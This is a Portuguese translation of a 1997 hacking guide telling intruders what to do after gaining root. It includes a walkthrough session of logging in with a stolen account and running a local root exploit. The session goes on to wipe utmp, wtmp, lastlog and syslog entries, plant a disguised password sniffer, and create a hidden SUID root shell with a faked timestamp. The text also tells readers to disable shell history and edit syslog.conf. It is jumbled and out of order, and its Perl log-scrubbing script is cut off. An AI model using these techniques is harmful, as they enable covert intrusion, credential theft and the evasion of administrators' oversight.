Limpar os log files:
Uma volta pelo sistem hackado/ O ke fazer depois de hackar/ganhar root
no sistema?
Não posso deixar de referir a importância que é a de limpar os logs,
para assim não ser possivel detectar a vossa presença no sistema.
Vamos agora realizar uma "visita guiada" por um sistema "hackado" e
demonstrar o que devem fazer e o que devem procurar para limpar a vossa
presença do sistema. Para começar vamos fazer o login num sistema :
Segue-se uma explicação passo-a-passo de todo o processo:
******----> ver quem está na maquina
******----> Voltamos a ver se está mais alguem no sistema (comando w(ho) )
Este bug foi descoberto e programado pelo Bloodmask e pelo Vio em 1996
******----> Agora que já ganhámos root vamos usar o z2 (zap2)
para nos tornarmos "invisíveis"
******----> Já sabemos que somos root no sistema, mas mesmo
assim vamos confirmar :
******----> Estas foram as linhas apagadas :
******----> Agora vamos mostrar-vos como é que iriam usar o "lled" e o "wted"
se por acaso quando fizemos "grep", tivesse surgido mais qualquer
coisa nesses files.
******----> Que tal por um sniffer a correr?
Se te lembrares sempre disto e practicares bastante de forma a NUNCA
te esqueceres, faz o seguinte :
SEMPRE que faças login no sistema escreve : unset HISTFILE
Isto faz com que o .bash_history seja apagado sempre que sais do sistema.
Se usares este método NUNCA te esquecas de fazer o que se disse!
messages & syslog
Na directoria dos logs, vão encontrar um file chamado 'messages'. Cada sistema é
differente no que se refere ao tipo do informação que é logada e para que
file(s), é que essa informação vai. Não te esqueças de procurar no
/etc/syslog.conf informação referente a sistemas remotos. Se o sistema estiver
a logar essa informação vais ver algo semelhante a :
Aqui está um exemplo...
Repara também que o 'syslog', 'mail', e 'info' estão a ser enviados para a dir
/var/adm para nos levar a pensar que todos os logs estão em /var/adm ! Assim,
se editares algo em /var/adm o admin do sistema pode correr um 'diff' nos backup
files na /root dir.
Ok, vais então à dir /var/adm ou a /var/log e fazes:
Outra coisa de que NÃO te podes esquecer é de fazer 'ls -l /etc/syslog.conf'
ANTES de editares esse file e tomar nota da informação relativa à data e hora
do file. Deves então (depois de editares o file) usar o comando 'touch' para
que o file volte a ter a date e hora originais. Desta forma se o(s) admin(s)
repararem que o log está diferente vão quase de certeza verificar a data e
hora do file. Ao verem que não sofreram alteraçõs, vão pensar que se tratou
de outra coisa qualquer. Maior parte dos admins nem sequer sabem configurar
este files para que funcione correctamente, por isso em grande parte dos casos
não há qualquer problema em editá-los.
Aqui está outro file a que deves prestar atenção :
xferlog
O 'xferlog' pode ser editado com qualquer editor de texto (pico, joe, vi, etc).
Podes então procurar neste log file por transferencias de files que possas ter
feito (por exemplo para enviares para o sistema o zap2).
Deves então fazê-lo SEMPRE que acabes de transferir algum file para o sistema.
Deves também usar o comando 'grep' nos files que se encontram na dir
/usr/local/etc/httpd/log caso tenhas utilizado a web ou o phf neste sistema,
de forma a que a tua presença seja assim eliminada desses files.
Deves fazê-lo da seguinte forma :
Podem existir diferentes logs para as transferencias por ftp algures numa
dir de ftp ou virtual ftp. Vê os files em /etc/ftp* para descobrires que
configuração para o ftp é utilizada neste sistema (e logo descobrires a
localizaçao dos log files).
Tudo o que aqui foi dito relativamente a editar log files teve em conta
que estás a utilizar editores de texto como o pico, o joe ou qualquer outro
do mesmo tipo.
Imagina que encontras-te um log file de 20 mb ... wow! e agora?
Imagina agora que querias retirar deste logfile todas as linhas que
continham 'fudge.candy.com'. Fazias assim :
Isto aplica-se a qualquer logfile...
Aqui está um script para Perl que faz o que se disse acima por ti :
Deves também editar o 'syslog' e retirar a informação relacionada com
o "restart" do 'syslogd'.
------------------------------
traduzido por VectorX
IN: Hacking Kit v2.0.b March/97
BY: Invisible Evil
[/home/master]finger @victim.net
[victim.net]
No one logged on.
******----> de momento não se encontra ninguem, nesse caso
podemos entrar em segurança
[/home/master]telnet victim.net
Trying xxx.206.xx.140...
Connected to victim.net.
Escape character is '^]'.
Welcome to Victim Research Linux (http://www.victim.net) Red Hat 4.2
Kernel 2.0.30 on a i586
ns.victim.net login: jnsmith
Password:
Linux 2.0.30.
You have new mail.
******----> Não leias o mail do user, se quiseres podes ver todo o mail
através do comando : cat /var/spool/mail e também em
/home/username/mail .
[jnsmith@ns jnsmith]$ w
5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00
User tty login@ idle JCPU PCPU what
jnsmith ttyp1 5:35am w
******----> Só estou cá eu, nesse caso vamos ganhar root e limpar
a nossa presença do log file : utmp
[jnsmith@ns jnsmith]$ cd .term
******----> Esta dir já tinha sido préviamente criada
(.term é um bom nome para uma dir onde queiras esconder cenas)
[jnsmith@ns .term]$ ./.u
******----> Já tinha isto à minha espera : é o exploit mount/umount (mount.c)
bash# z2 jnsmith
Zap2!
******----> Vamos ver se ainda estamos no sistema...
bash# w
5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01
User tty login@ idle JCPU PCPU what
******----> Hmmm... interessante, agora não está ninguem no sitema.
Bem... devo ter saido do sistema ;)
bash# whoami
root
bash#
******----> Yeps, somos root... Em que directoria é que estamos?
bash# pwd
/home/jnsmith/.term
******----> Agora vamos verificar os logs do sistema
bash# cd /var/log
******----> maior parte das vezes estão em /var/adm, mas neste caso estão
em /var/log
bash# grep dormroom *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
******----> Yaps, o z2 (zap2) limpou tudo menos este maillog ...
bash# pico maillog
******----> no pico eu fiz ctrl w, e procurei por "dormroom" e depois fiz ctrl k
para apagar as linhas não desejadas.
Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
bash# grep dormroom *
******----> Yep, está tudo limpo
bash# w
5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00
User tty login@ idle JCPU PCPU what
******----> Yep .. aqui também está tudo limpo ;)
bash# cd ~jnsmith/.term
bash# lled
bash# lled -c dormroom.playhouse
Entries stored: 527 Entries removed: 0
Agora façam 'chmod lastlog.tmp' e copiem para cima do file original
em /var/log/lastlog
******----> Nada no lastlog ...
bash#
bash# wted -e jnsmith
Entries stored: 254 Entries removed: 0
Now chmod wtmp.tmp and copy over the original /var/log/wtmp
******----> Nada no wtmp, ambos estes files teriam surgido no "grep"
nós só o executámos em /var/log (só para mostrar os comandos)
bash# pico linsniffer.c
******----> Eu alterei esta linha para definir a localização do log
do sniffer :
#define TCPLOG "/tmp/.pinetemp.000"
******----> vamos ver que processos é que estão a correr para atribuirmos ao
sniffer um nome que se assemelhe a algo que esteja a correr.
bash# ps -aux
root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd)
root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd)
root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D
root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty)
root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty)
root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty)
root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty)
root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty)
root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update)
root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush)
root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd
root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd
root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd
root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named
root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty)
root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd
******----> vamos compila-lo e dar-lhe o nome de nmb
bash# gcc linsniffer.c -o nmb
******----> vamos executá-lo
bash# nmb&
[1] 22171
******----> vamos verificar o log file em /tmp
bash#
bash# cd /tmp
bash# ls -al .pin*
total 15691
-rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000
******----> Ali está ele. No entanto nós não queremos que o user da account
que estamos a utilizar saiba nem da existência nem do contéudo
deste file, então fazemos :
bash# chgrp root .pin*
******----> Vamos ver agora ...
bash# ls -al .pin*
-rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000
bash#
******----> Óptimo, agora vamos criar uma SUID shell para não termos
que voltar a fazer isto.
bash# cd /bin
bash# ls -l sh
lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash
******----> É apenas um sym link e não o file que nos interessa ...
bash# ls -l bash
-rwxr-xr-x 1 root root 299296 Nov 2 1995 bash
******----> aqui está o verdadeiro file (o que nos interessa pra criarmos
a tal shell).
Vamos pensar num nome para lhe atribuirmos, de forma a que pareca
que o file pareça pertencente a esta dir :
bash# ls
arch df ksh ping tar
ash dmesg ln ps tcsh
bash dnsdomainname login pwd true
cat domainname ls red ttysnoops
chgrp echo mail rm umount
chmod ed mkdir rmdir uname
chown false mknod sed vi
cp findterm more setserial view
cpio gunzip mount sh vim
csh gzip mt stty zcat
date hostname mv su zsh
dd kill netstat sync
******----> Que tal criarmos um novo comando para Linux? Maior parte dos admins
nem vão dar pela diferença ... Vamos atribuir-lhe o nome de "findhost"
(Não te aconselho a utilizar este nome por razões obvias...)
bash# cp bash findhost
******----> ok, agora vamos lá ver o que é que o novo comando faz ... ;)
bash# ls -l findhost
-rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost
******----> Hmmm, temos que mudar o grupo (chgrp), e alterar a data e a hora
do file através do comando 'touch' e torná-lo SUID root (para que
não haja suspeitas quanto ao file).
bash# chgrp root findhost
bash# ls -l findhost
-rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost
bash# chmod +s findhost
bash# ls -l findhost
-rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost
bash# touch -t 111312331995 findhost
bash# ls -l findhost
-rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost
bash# ls -l m*
-rwxr-xr-x 1 root root 64400 Oct 31 1995 mail
-rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir
-rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod
-rwxr-xr-x 1 root root 20272 Nov 1 1995 more
-rwsr-xr-x 1 root root 26192 Nov 1 1995 mount
-rwxr-xr-x 1 root root 8381 Oct 31 1995 mt
-rwxr-xr-x 1 root root 12753 Nov 2 1995 mv
******----> Agora sim, parece mesmo que pertence a esta dir
Vamos agora confirmar se este "comando" faz exactamente aquilo
que pretendiamos, ou seja dar-nos root. Para tal, em primeiro lugar
saimos da shell em que estamos :
bash# exit
[jnsmith@ns .term]$ cd /bin
[jnsmith@ns /bin]$ whoami
jnsmith
[jnsmith@ns /bin]$ findhost
[jnsmith@ns /bin]# whoami
root
******----> Optimo, o nosso comando funciona ;)
[jnsmith@ns /bin]# cd
******----> cd {enter} leva-nos de volta para a nossa home dir
[jnsmith@ns jnsmith]# ls
mail
[jnsmith@ns jnsmith]# echo + +>test
[jnsmith@ns jnsmith]# ls -l
total 2
drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail
-rw-rw-r-- 1 root root 4 Jan 29 06:11 test
******----> Agora temos uid=0 e gid=0
[jnsmith@ns jnsmith]# rm test
******----> por enquanto tudo bem .....
[jnsmith@ns jnsmith]# w
6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00
User tty login@ idle JCPU PCPU what
******----> Só para ter a certeza de que ainda estamos sozinhos ....
[jnsmith@ns jnsmith]# ls -al /tmp/.p*
total 15692
-rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000
******----> já estamos a "apanhar" passwords ;)
[jnsmith@ns jnsmith]# ls -al
total 32
drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 .
drwxr-xr-x 33 root users 1024 Jan 22 16:53 ..
-rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults
lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null
<- Atenção a isto
-rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout
-rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile
-rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc
-rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc
drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term
drwxr-x--- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm
drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail
[jnsmith@ns jnsmith]#
******----> Façam um sym link de .bash_history para /dev/null para que
não deixem o history dos vossos comandos.
Este é o comando para fazê-lo, mas confirmem que apagaram o antigo
.bash_history se ele lá estiver.
ln -s /dev/null .bash_history
Ok, agora fazemos logout ...
Ainda existe outra forma de nos vermos livres do .bash_history.
*.* @somehostname.xxx
Podes também simplesmente ver neste file (/etc/syslog.conf) onde se encontram
outros logfiles.
bash# more syslog.conf
# /etc/syslog.conf
# For info about the format of this file, see "man syslog.conf" (the BSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#
*.=info;*.=notice /var/adm/messages
*.=debug /var/adm/debug
*.warn /var/adm/syslog
*.warn /root/.../syslog
*.=crit;kern.none /var/adm/critical
kern.info;kern.!err /var/adm/kernel-info
mail.*;mail.!=info /root/.../mail
mail,news.=info /root/.../info
mail.*;mail.!=info /var/adm/mail
mail,news.=info /var/adm/info
*.alert root,bob
*.=info;*.=notice @quality.com
*.=debug @quality.com
*.warn @quality.com
*.=crit;kern.none @quality.com
kern.info;kern.!err @quality.com
mail.*;mail.!=info @quality.com
mail,news.=info @quality.com
Neste caso, alguns dos logs estão em directorias escondidas (/root/.../syslog)
localizadas na dir /root, e uma cópia de todos os alertas e avisos do sistema
estão também a ser enviados para o host 'quality.com'.
O 'wtmp', 'utmp' e o 'lastlog' neste caso são locais, por isso não há grande
problema. No entanto não uses o comando 'su' num sistema deste tipo (logs para
host remoto). Repara também que neste caso os avisos e alertas do sistema estão
a ser enviados por mail ao root e ao user 'bob'.
grep o_teu_host * |more
grep o_teu_ip * |more
podes assim ver que alguns files estão a logar a tua ligação. Toma nota desses
files e edita o file /etc/syslog.conf. Irás assim através de tentativa-e-erro
fazer com que (na maior parte dos casos) fazer com que o log do teu domain
não se realize.
No entanto deves prestar atenção ao seguinte :
Depois de editares o file (/etc/syslog.conf) tens de reinicializar o 'syslogd'.
Podes fazê-lo através do comando 'ps -x' :
$root> ps -x
39 ? S 1:29 /usr/sbin/syslogd
procura o 'syslogd' na listagem de processos que vai aparecer e toma nota do
process id (pid) do 'syslogd'. Neste caso o pid era o 39. Fazemos entao :
kill -HUP 39
Isto fará com que o processo seja reinicializado passando assim as nossas
alterações a fazer efeito.
/etc/login.defs
# Enable "syslog" logging of su activity - in addition to sulog file logging
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB yes
SYSLOG_SG_ENAB yes
#
# If defined, all su activity is logged to this file
#
SULOG_FILE /home/users/bob/.list
Repara que há um log file referente ao uso do comando 'su' (SULOG_FILE) que
se encontra escondido na homedir de um dos admins do sistema.
grep (username or hostname) * |more
Se tiveres que procurar os logs do httpd podes fazê-lo através do comando
'find -name httpd.conf -print' e toma nota da localização dos logfiles do
httpd.
Por vezes podes dar de caras com um log file muito grande e o editor que estás
a usar, pode nao ter capacidade para abrir todo o file.
Nestes casos é mais simples, rapido e práctico utilizares um outro método :
grep -v fudge.candy >messages.2
rm messages
mv messages2 messages
depois faz um 'kill -HUP
o '-v' serve para retirar tudo o que NÃO é qeuivalente á linha que queres.
Desta forma estás a passar tudo o que deve ficar no file para um novo file
(neste caso messages.2). Ficas-te então com 2 files, o messages que agora
contém apenas a informação que tu queres limpar e o messages.2 que contém a
restante informação que não te diz respeito e logo deves mante-la no sistema.
De seguida apagas o messages e fazes rename do messages.2 para messages.
Limpas-te assim do log file a informação que não te era conveniente manter ;)
------------------- start of riptext.pl
#!/usr/bin/perl
#
# RipText - Takes regular expression and filename argument from @ARGV. Any
# lines MATCHING regular expression will *not* be printed to
# STDOUT.
#
#
die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
($regexp, $filename) = @ARGV[0,1];
# Read in contents of file.
$/ = undef;
$contents="";
if (!defined($filename)) {
# Use STDIN.
$contents = scalar
Nunca te esqueças de reinicializar o 'syslogd' depois de editares os
logs, pois ainda é possivel recuperar a informação que tu acabas-te de
alterar (pois ela ainda está em memoria) até tu reinicializares o processo!